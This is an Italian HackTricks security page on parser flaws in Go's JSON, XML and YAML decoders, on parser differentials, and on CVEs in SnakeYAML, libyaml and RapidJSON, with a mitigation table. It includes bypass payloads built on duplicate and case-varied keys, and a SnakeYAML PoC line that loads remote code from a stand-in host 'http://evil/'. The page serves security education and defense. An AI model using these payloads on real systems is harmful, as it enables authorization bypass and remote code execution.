JSON, XML & Yaml Hacking & Issues
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Go JSON Decoder
I seguenti problemi sono stati rilevati nel Go JSON anche se potrebbero essere presenti in altre lingue. Questi problemi sono stati pubblicati in questo post del blog.
I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per bypassare l'autenticazione, escalare i privilegi o esfiltrare dati sensibili.
(Un)Marshaling Unexpected Data
L'obiettivo è sfruttare le strutture che consentono a un attaccante di leggere/scrivere campi sensibili (ad es., IsAdmin
, Password
).
- Esempio di Struttura:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Vulnerabilità comuni
- Tag mancante (nessun tag = il campo viene comunque analizzato per impostazione predefinita):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Uso errato di
-
:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Modo corretto per bloccare un campo dall'essere (de)serializzato:
type User struct {
IsAdmin bool `json:"-"`
}
Differenziali del Parser
L'obiettivo è bypassare l'autorizzazione sfruttando come diversi parser interpretano lo stesso payload in modo diverso, come in:
- CVE-2017-12635: bypass di Apache CouchDB tramite chiavi duplicate
- 2022: RCE 0-click di Zoom tramite incoerenza del parser XML
- Bypass SAML di GitLab 2025 tramite stranezze XML
1. Campi Duplicati:
Il encoding/json
di Go prende il ultimo campo.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Altri parser (ad esempio, Jackson di Java) possono prendere il primo.
2. Insensibilità al caso: Go è insensibile al caso:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Anche i trucchi Unicode funzionano:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Disallineamento tra servizi: Immagina:
- Proxy scritto in Go
- Servizio AuthZ scritto in Python
L'attaccante invia:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python vede
UserAction
, lo consente - Go vede
AdminAction
, lo esegue
Confusione del formato dei dati (Polyglots)
L'obiettivo è sfruttare i sistemi che mescolano formati (JSON/XML/YAML) o che falliscono in modo aperto sugli errori del parser come:
- CVE-2020-16250: HashiCorp Vault ha analizzato JSON con un parser XML dopo che STS ha restituito JSON invece di XML.
L'attaccante controlla:
- L'intestazione
Accept: application/json
- Controllo parziale del corpo JSON
Il parser XML di Go lo ha analizzato comunque e ha fidato l'identità iniettata.
- Payload creato:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
- Go JSON parser:
Action_2
(case-insensitive + last wins) - YAML parser:
Action_1
(case-sensitive) - XML parser: parses
"Action_3"
inside the string
Vulnerabilità Notabili dei Parser (2023-2025)
I seguenti problemi pubblicamente sfruttabili mostrano che il parsing insicuro è un problema multi-linguaggio — non solo un problema di Go.
RCE da Deserializzazione SnakeYAML (CVE-2022-1471)
- Colpisce:
org.yaml:snakeyaml
< 2.0 (utilizzato da Spring-Boot, Jenkins, ecc.). - Causa principale:
new Constructor()
deserializza classi Java arbitrarie, consentendo catene di gadget che culminano nell'esecuzione di codice remoto. - One-liner PoC (aprirà la calcolatrice sull'host vulnerabile):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Correzione / Mitigazione:
- Aggiorna a ≥2.0 (usa
SafeLoader
per impostazione predefinita). - Nelle versioni precedenti, usa esplicitamente
new Yaml(new SafeConstructor())
.
libyaml Double-Free (CVE-2024-35325)
- Riguarda:
libyaml
≤0.2.5 (libreria C sfruttata da molti binding di linguaggi). - Problema: Chiamare
yaml_event_delete()
due volte porta a un double-free che gli attaccanti possono trasformare in DoS o, in alcuni scenari, sfruttamento dell'heap. - Stato: Rifiutato upstream come “uso improprio dell'API”, ma le distribuzioni Linux hanno fornito una patch 0.2.6 che annulla difensivamente il puntatore.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Riguarda: Tencent RapidJSON prima del commit
8269bc2
(<1.1.0-patch-22). - Bug: In
GenericReader::ParseNumber()
l'aritmetica non controllata consente agli attaccanti di creare enormi letterali numerici che si avvolgono e corrompono l'heap — abilitando infine l'escalation dei privilegi quando il grafo degli oggetti risultante viene utilizzato per decisioni di autorizzazione.
🔐 Mitigazioni (Aggiornato)
Rischio | Correzione / Raccomandazione |
---|---|
Campi sconosciuti (JSON) | decoder.DisallowUnknownFields() |
Campi duplicati (JSON) | ❌ Nessuna correzione nella stdlib — valida con jsoncheck |
Corrispondenza case-insensitive (Go) | ❌ Nessuna correzione — valida i tag della struct + pre-canonicalizza l'input |
Dati spazzatura XML / XXE | Usa un parser rinforzato (encoding/xml + DisallowDTD ) |
Chiavi sconosciute YAML | yaml.KnownFields(true) |
Deserializzazione YAML non sicura | Usa SafeConstructor / aggiorna a SnakeYAML ≥2.0 |
libyaml ≤0.2.5 double-free | Aggiorna a 0.2.6 o a una release patchata dalla distro |
RapidJSON <commit patchato | Compila contro l'ultima versione di RapidJSON (≥Luglio 2024) |
Riferimenti
- Baeldung – “Risoluzione di CVE-2022-1471 con SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.